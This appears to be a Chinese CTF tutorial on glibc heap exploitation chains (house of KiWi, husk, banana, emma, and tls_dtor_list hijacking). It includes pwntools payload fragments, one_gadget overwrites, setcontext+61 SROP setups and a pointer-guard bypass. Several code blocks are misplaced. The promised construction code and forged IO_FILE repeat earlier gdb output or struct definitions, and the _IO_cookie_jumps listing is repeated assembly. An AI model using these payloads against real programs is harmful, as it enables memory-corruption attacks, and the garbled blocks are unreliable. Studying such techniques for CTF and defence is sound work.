__malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function){ (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.", __progname, __progname[0] ? ": " : "", file, line, function ? function : "", function ? ": " : "", assertion); fflush (stderr); abort ();}
可以看到,在malloc.c中,assert斷言失敗,最終都會調用__malloc_assert,而其中有一個fflush (stderr)的函數調用,會走stderr的IO_FILE,最終會調用到其vtable中_IO_file_jumps中的__IO_file_sync,此時rdx為IO_helper_jumps。
開了沙盒需要orw的題目,經常使用setcontext控制rsp,進而跳轉過去調用ROP鏈,而在2.29版本以上setcontext中的參數也由rdi變為rdx了,起始位置也從setcontext+53變為了setcontext+61(2.29版本有些特殊,仍然是setcontext+53起始,但是控制的寄存器已經變成了rdx),rdx顯然沒有rdi好控制,然而house of KiWi恰好能幫助我們控制rdx。
下面的問題就在于如何觸發assert的斷言出錯,通常有以下幾種方式:
1、在_int_malloc中判斷到top chunk的大小太小,無法再進行分配時,會走到sysmalloc中的斷言:
assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0));
因此,我們可以將top chunk的size改小,并置prev_inuse為0,當top chunk不足分配時,就會觸發這個assert了。
2、在_int_malloc中,當堆塊從unsorted bin轉入largebin list的時候,也會有一些斷言:assert (chunk_main_arena (bck->bk)),assert (chunk_main_arena (fwd))等。
再看相關的宏定義:
#define NON_MAIN_ARENA 0x4
#define chunk_main_arena(p) (((p)->mchunk_size & NON_MAIN_ARENA) == 0)
對mchunk_size的解釋:mchunk_size成員顯示的大小并不等價于該chunk在內存中的大小,而是當前chunk的大小加上NON_MAIN_ARENA、IS_MAPPED、PREV_INUSE位的值。
因此,assert (chunk_main_arena(...))就是檢測堆塊是否來自于main_arena,也可以通過偽造即將放入largebin list的largebin's size來觸發assert。
對于house of KiWi利用,需要存在一個任意寫,通過修改_IO_file_jumps + 0x60的_IO_file_sync指針為setcontext+61,并修改IO_helper_jumps + 0xA0 and 0xA8分別為ROP鏈的位置和ret指令的gadget地址即可。
值得一提的是,在house of KiWi調用鏈中,在調用到__IO_file_sync之前,在__vfprintf_internal中也會調用IO_FILE虛表中的函數,會調用[vtable] + 0x38的函數,即_IO_new_file_xsputn,因此我們可以通過改IO_FILE中vtable的值,根據偏移來調用其他虛表中的任意函數。
高版本下開了沙盒的orw方法:
1、通過gadget做到類似于棧遷移的效果,然后走ROP鏈,打orw。
2、通過setcontext + 61,控制寄存器rdx。
(1)可以找gadget,使rdi或其他寄存器與rdx之間進行轉換
(2)通過改__malloc_hook為setcontext + 61,劫持IO_FILE(多是stdin),將vtable改成_IO_str_jumps的地址,最后通過exit,會走到_IO_str_overflow函數,其中有malloc函數觸發__malloc_hook,此時的rdx就是_IO_write_ptr中的值,所以直接使_IO_write_ptr = SROP_addr即可。
3、house of KiWi。
4、其他IO的劫持。
對于第一種,svcudp_reply+26處有個gadget可以實現:
<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]<svcudp_reply+34>: lea r13,[rbp+0x10]<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0<svcudp_reply+45>: mov rdi,r13<svcudp_reply+48>: call QWORD PTR [rax+0x28]
對于第二種,先來看通過gadget進行rdi與rdx間的轉換(最常用):
mov rdx, qword ptr [rdi + 8]mov qword ptr [rsp], raxcall qword ptr [rdx + 0x20]
再看通過改__malloc_hook并劫持_IO_FILE的方法:
為什么說一般劫持的都是stdin的IO_FILE呢?因為__malloc_hook與stdin距離是比較近的,可以在劫持IO_FILE的同時,就把__malloc_hook改掉。
可按如下方式構造payload:
SROP_addr = libc_base + libc.sym['_IO_2_1_stdin_'] + 0xe0payload = p64(0)*5 + p64(SROP_addr) # _IO_write_ptrpayload = payload.ljust(0xd8, b'\x00') + p64(libc_base + get_IO_str_jumps_offset())frame = SigreturnFrame()frame.rdi = 0frame.rsi = addressframe.rdx = 0x200frame.rsp = address + 8frame.rip = libc_base + libc.sym['read']payload += bytes(frame)payload = payload.ljust(0x1f0, b'\x00') + p64(libc_base + libc.sym['setcontext'] + 61) # __malloc_hook
至于第三種,house of KiWi的方式,在上面已經單獨介紹過了,就不再多說了。
關于第四點提到的其他IO劫持,在之后都會提及,比如house of banana,house of emma等等。
house of husk
在用printf進行輸出時,會根據其格式化字符串,調用不同的輸出函數來以不同格式輸出結果。但是如果調用呢?自然是需要格式化字符與其輸出函數一一對應的索引表的。glibc中的__register_printf_function函數是__register_printf_specifier函數的封裝:
int __register_printf_function (int spec, printf_function converter, printf_arginfo_function arginfo){ return __register_printf_specifier (spec, converter, (printf_arginfo_size_function*) arginfo);}
__register_printf_specifier函數就是為格式化字符spec的格式化輸出注冊函數:
int __register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo){ if (spec < 0 || spec > (int) UCHAR_MAX) { __set_errno (EINVAL); return -1; } int result = 0; __libc_lock_lock (lock); if (__printf_function_table == NULL) { __printf_arginfo_table = (printf_arginfo_size_function **) calloc (UCHAR_MAX + 1, sizeof (void *) * 2); if (__printf_arginfo_table == NULL) { result = -1; goto out; } __printf_function_table = (printf_function **) (__printf_arginfo_table + UCHAR_MAX + 1); } // 為格式化字符spec注冊函數指針 __printf_function_table[spec] = converter; __printf_arginfo_table[spec] = arginfo; out: __libc_lock_unlock (lock); return result;}
可以看到,如果格式化字符spec超過0xff或小于0,即ascii碼不存在,則返回-1,如果__printf_arginfo_table為空就通過calloc分配兩張索引表,并將地址存到__printf_arginfo_table以及__printf_function_table中。兩個表空間均為0x100,可以為0-0xff的每個字符注冊一個函數指針,且第一個表后面緊接著第二個表。由此,我們有很明顯的思路,可以劫持__printf_arginfo_table和__printf_function_table為我們偽造的堆塊(多用largebin attack),進而偽造里面格式化字符所對應的函數指針(要么為0,要么有效)。
在vfprintf函數中,如果檢測到__printf_function_table不為空,則對于格式化字符不走默認的輸出函數,而是調用printf_positional函數,進而可以調用到表中的函數指針:
// vfprintf-internal.c : 1412if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL)) goto do_positional; // vfprintf-internal.c : 1682do_positional: done = printf_positional (s, format, readonly_format, ap, &ap_save, done, nspecs_done, lead_str_end, work_buffer, save_errno, grouping, thousands_sep, mode_flags);
__printf_function_table中類型為printf_function的函數指針,在printf->vfprintf->printf_positional被調用:
// vfprintf-internal.c : 1962if (spec <= UCHAR_MAX && __printf_function_table != NULL && __printf_function_table[(size_t) spec] != NULL){ const void **ptr = alloca (specs[nspecs_done].ndata_args * sizeof (const void *)); /* Fill in an array of pointers to the argument values. */ for (unsigned int i = 0; i < specs[nspecs_done].ndata_args; ++i) ptr[i] = &args_value[specs[nspecs_done].data_arg + i]; /* Call the function. */ function_done = __printf_function_table[(size_t) spec](s, &specs[nspecs_done].info, ptr); // 調用__printf_function_table中的函數指針 if (function_done != -2) { /* If an error occurred we don't have information about # of chars. */ if (function_done < 0) { /* Function has set errno. */ done = -1; goto all_done; } done_add (function_done); break; }}
另一個在__printf_arginfo_table中的類型為printf_arginfo_size_function的函數指針,在printf->vfprintf->printf_positional->__parse_one_specmb中被調用,其功能是根據格式化字符做解析,返回值為格式化字符消耗的參數個數:
// vfprintf-internal.c : 1763nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg); // printf-parsemb.c (__parse_one_specmb函數)/* Get the format specification. */spec->info.spec = (wchar_t) *format++;spec->size = -1;if (__builtin_expect (__printf_function_table == NULL, 1) || spec->info.spec > UCHAR_MAX || __printf_arginfo_table[spec->info.spec] == NULL // 判斷是否為空 /* We don't try to get the types for all arguments if the format uses more than one. The normal case is covered though. If the call returns -1 we continue with the normal specifiers. */ || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) // 調用__printf_arginfo_table中的函數指針 (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0){ /* Find the data argument types of a built-in spec. */ spec->ndata_args = 1;
可以看到,是先調用了__printf_arginfo_table中的函數指針,再調用了__printf_function_table中的函數指針。
假設現在__printf_function_table和__printf_arginfo_table分別被填上了chunk 4與chunk 8的堆塊地址(chunk header)。
方式一:
one_gadget = libc.address + 0xe6c7eedit(8, p64(0)*(ord('s') - 2) + p64(one_gadget))
由于有堆塊頭,所以格式化字符的索引要減2,這樣寫就滿足了__printf_function_table不為空,進入了printf_positional函數,并調用了__printf_arginfo_table中的函數指針。
方式二:
one_gadget = libc.address + 0xe6ed8edit(4, p64(0)*(ord('s') - 2) + p64(one_gadget))
這樣寫同樣也是可以的,首先仍然滿足__printf_function_table不為空,進入了printf_positional函數,會先進入__parse_one_specmb,此時__printf_arginfo_table[spec->info.spec] == NULL成立,那么根據邏輯短路,就不會再執行下面的語句了,最后又回到printf_positional函數,調用了__printf_function_table中的函數指針。
house of banana
其實就是劫持了link_map,需要exit函數觸發,調用鏈:exit()->_dl_fini->(fini_t)array[i],可以很方便地getshell或者在高版本下orw。
先看Elf64_Dyn結構體定義(注意里面有一個共用體):
typedef struct{ Elf64_Sxword d_tag; /* Dynamic entry type */ union { Elf64_Xword d_val; /* Integer value */ Elf64_Addr d_ptr; /* Address value */ } d_un;} Elf64_Dyn; // link_map中l_info的定義ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
再看_dl_fini.c中的這一段:
for (i = 0; i < nmaps; ++i){ struct link_map *l = maps[i]; // link_map結構體指針l if (l->l_init_called) { /* Make sure nothing happens if we are called twice. */ l->l_init_called = 0; /* Is there a destructor function? */ if (l->l_info[DT_FINI_ARRAY] != NULL || (ELF_INITFINI && l->l_info[DT_FINI] != NULL)) { ............. /* First see whether an array is given. */ if (l->l_info[DT_FINI_ARRAY] != NULL) { ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); while (i-- > 0) ((fini_t) array[i]) (); // 調用了函數指針 } ... } ... } ... }
這里面涉及的結構體比較多,成員參數也比較復雜。可以看到源碼中l指針的類型為link_map結構體。link_map結構體的定義很長,節選如下:
struct link_map{ ElfW(Addr) l_addr; /* Difference between the address in the ELF file and the addresses in memory. */ char *l_name; /* Absolute file name object was found in. */ ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */ struct link_map *l_next, *l_prev; /* Chain of loaded objects. */ /* All following members are internal to the dynamic linker. They may change without notice. */ /* This is an element which is only ever different from a pointer to the very same copy of this type for ld.so when it is used in more than one namespace. */ struct link_map *l_real; ......};
可以看到,link_map和堆塊鏈表一樣,是通過l_next與l_prev指針連接起來的,那么肯定就有一個類似于main_arena或者說是tcache struct的地方,存放著這個鏈表頭部指針的信息,這個地方就是_rtld_global結構體:
pwndbg> p _rtld_global$1 = { _dl_ns = {{ _ns_loaded = 0x7ffff7ffe190, _ns_nloaded = 4, ......
這里的_ns_loaded就是link_map鏈表頭部指針的地址,_ns_nloaded = 4說明這個link_map鏈表有四個link_map結構體,它們通過l_next與l_prev指針連接在一起。
我們再用gdb打出link_map的頭部結構體的內容:
pwndbg> p *(struct link_map*) 0x7ffff7ffe190$2 = { l_addr = 93824990838784, l_name = 0x7ffff7ffe730 "", l_ld = 0x555555601d90, l_next = 0x7ffff7ffe740, l_prev = 0x0, l_real = 0x7ffff7ffe190, ......
很自然,在house of banana的利用中,我們需要劫持_rtld_global的首地址,也就是_ns_loaded,將它通過largebin attack等方式改寫為我們可控的堆地址,然后再對link_map進行偽造(當然,對于有些題目,有辦法直接劫持到原先的link_map并修改,那更好)。
偽造link_map的時候,首先就需要注意幾個地方:將l_next需要還原,這樣之后的link_map就不需要我們再重新偽造了;將l_real設置為自己偽造的link_map堆塊地址,這樣才能繞過檢查。
之后,我們再回到_dl_fini.c中的源碼,看看如何利用house of banana進行攻擊。
首先,再最外層判斷中,需要使l->l_init_called為真,因此需要對l_init_called進行一個偽造。
然后,需要使l->l_info[DT_FINI_ARRAY] != NULL,才能調用函數指針,這里有#define DT_FINI_ARRAY 26,也就是使得l->l_info[26]不為空。
再之后就是array = (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);,這里需要偽造link_map中的l_addr(這里在已經偽造的link_map的堆塊頭,需要通過其上一個堆塊溢出或是合并后重分配進行修改),以及l->l_info[26]->d_un.d_ptr,也就是l->l_info[27],使其相加的結果為函數指針的基地址。
調用函數指針的次數i由i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)))控制,其中#define DT_FINI_ARRAYSZ 28,sizeof (ElfW(Addr)) = 8,因此i = l->l_info[29] / 8。
這里每次調用的函數指針都為上一個的地址減8,直到最后調用函數指針的基地址array,而每一次調用函數指針,其rdx均為上一次調用的函數指針的地址,由此我們可以輕松地通過setcontext + 61布置SROP,跳轉執行ROP鏈。
構造代碼如下:
pwndbg> p *(struct link_map*) 0x7ffff7ffe190$2 = { l_addr = 93824990838784, l_name = 0x7ffff7ffe730 "", l_ld = 0x555555601d90, l_next = 0x7ffff7ffe740, l_prev = 0x0, l_real = 0x7ffff7ffe190, ......
劫持tls_dtor_list,利用__call_tls_dtors拿到權限
這個利用也是通過exit觸發的,和house of banana實現的效果差不多,利用流程比house of banana簡單,但是主要是用于getshell,在開了沙盒后,orw并沒有house of banana方便。
首先來看dtor_list結構體的定義:
struct dtor_list{ dtor_func func; void *obj; struct link_map *map; struct dtor_list *next;}; static __thread struct dtor_list *tls_dtor_list;
可以看到,tls_dtor_list就是dtor_list的結構體指針,里面存放著一個dtor_list結構體的地址。
再看到__call_tls_dtors函數(對tls_dtor_list進行遍歷):
void __call_tls_dtors (void){ while (tls_dtor_list) { struct dtor_list *cur = tls_dtor_list; dtor_func func = cur->func;#ifdef PTR_DEMANGLE PTR_DEMANGLE (func);#endif tls_dtor_list = tls_dtor_list->next; func (cur->obj); atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1); free (cur); }}
由此可知,dtor_list結構體中的func成員,其實是一個函數指針,而其中的obj成員就是其調用時的參數。
很顯然,若我們可以劫持tls_dtor_list,在其中寫入我們偽造的堆地址,使其不為空(繞過while (tls_dtor_list)),就能執行到func (cur->obj),而我們又可以控制偽造的堆塊中prev_size域為system的相關數據(由于有指針保護,之后會講),size域為/bin/sh的地址(通過上一個堆塊的溢出或合并后重分配),這樣就能getshell了,若是想orw,那么可以讓func成員為magic_gadget的相關數據,將rdi與rdx轉換后,再調用setcontext + 61走SROP即可。
需要注意的是,在調用func函數指針之前,對func執行了PTR_DEMANGLE (func),這是一個指針保護,我們可以通過gdb直接看到其匯編:
ror rax,0x11xor rax,QWORD PTR fs:0x30mov QWORD PTR fs:[rbx],rdxmov rdi,QWORD PTR [rbp+0x8]call rax
這操作主要是先進行循環右移0x11位,再與fs:0x30(tcbhead_t->pointer_guard)進行異或,最終得到的數據就是我們的函數指針,并調用。
因此,我們在之前所說的將func成員改成的與system相關的數據,就是對指針保護進行一個逆操作:先將system_addr與pointer_guard進行異或,再將結果循環左移0x11位后,填入prev_size域。
然而,pointer_guard的值在TLS結構中(在canary保護stack_guard的下一個),我們很難直接得到它的值,但是我們可以通過一些攻擊手段,往其中寫入我們可控數據,這樣就可以控制pointer_guard,進而繞過指針保護了。
ror rax,0x11xor rax,QWORD PTR fs:0x30mov QWORD PTR fs:[rbx],rdxmov rdi,QWORD PTR [rbp+0x8]call rax
house of emma
主要是針對于glibc 2.34中刪除了__free_hook與__malloc_hook等之前經常利用的函數指針而提出的一條新的調用鏈。
house of emma利用了_IO_cookie_jumps這個vtable:
ror rax,0x11xor rax,QWORD PTR fs:0x30mov QWORD PTR fs:[rbx],rdxmov rdi,QWORD PTR [rbp+0x8]call rax
可以考慮其中的這幾個函數:
static ssize_t _IO_cookie_read (FILE *fp, void *buf, ssize_t size){ struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_read_function_t *read_cb = cfile->__io_functions.read;#ifdef PTR_DEMANGLE PTR_DEMANGLE (read_cb);#endif if (read_cb == NULL) return -1; return read_cb (cfile->__cookie, buf, size);} static ssize_t _IO_cookie_write (FILE *fp, const void *buf, ssize_t size){ struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_write_function_t *write_cb = cfile->__io_functions.write;#ifdef PTR_DEMANGLE PTR_DEMANGLE (write_cb);#endif if (write_cb == NULL) { fp->_flags |= _IO_ERR_SEEN; return 0; } ssize_t n = write_cb (cfile->__cookie, buf, size); if (n < size) fp->_flags |= _IO_ERR_SEEN; return n;} static off64_t _IO_cookie_seek (FILE *fp, off64_t offset, int dir){ struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;#ifdef PTR_DEMANGLE PTR_DEMANGLE (seek_cb);#endif return ((seek_cb == NULL || (seek_cb (cfile->__cookie, &offset, dir) == -1) || offset == (off64_t) -1) ? _IO_pos_BAD : offset);} static int _IO_cookie_close (FILE *fp){ struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_close_function_t *close_cb = cfile->__io_functions.close;#ifdef PTR_DEMANGLE PTR_DEMANGLE (close_cb);#endif if (close_cb == NULL) return 0; return close_cb (cfile->__cookie);}
其中涉及到的結構體定義:
struct _IO_cookie_file{ struct _IO_FILE_plus __fp; void *__cookie; cookie_io_functions_t __io_functions;}; typedef struct _IO_cookie_io_functions_t{ cookie_read_function_t *read; /* Read bytes. */ cookie_write_function_t *write; /* Write bytes. */ cookie_seek_function_t *seek; /* Seek/tell file position. */ cookie_close_function_t *close; /* Close file. */} cookie_io_functions_t;
在這幾個函數里,都有函數指針的調用,且這幾個函數指針都在劫持的IO_FILE偏移的不遠處,用同一個堆塊控制起來就很方便,不過在任意調用之前也都需要繞過指針保護PTR_DEMANGLE。此外,在調用函數指針的時候,其rdi都是cfile->__cookie,控制起來也是非常方便的。
利用house of KiWi配合house of emma的調用鏈為__malloc_assert -> __fxprintf -> __vfxprintf -> locked_vfxprintf -> __vfprintf_internal -> _IO_new_file_xsputn ( => _IO_cookie_write),這里用的是_IO_cookie_write函數,用其他的當然也同理。
偽造的IO_FILE如下:
struct _IO_cookie_file{ struct _IO_FILE_plus __fp; void *__cookie; cookie_io_functions_t __io_functions;}; typedef struct _IO_cookie_io_functions_t{ cookie_read_function_t *read; /* Read bytes. */ cookie_write_function_t *write; /* Write bytes. */ cookie_seek_function_t *seek; /* Seek/tell file position. */ cookie_close_function_t *close; /* Close file. */} cookie_io_functions_t;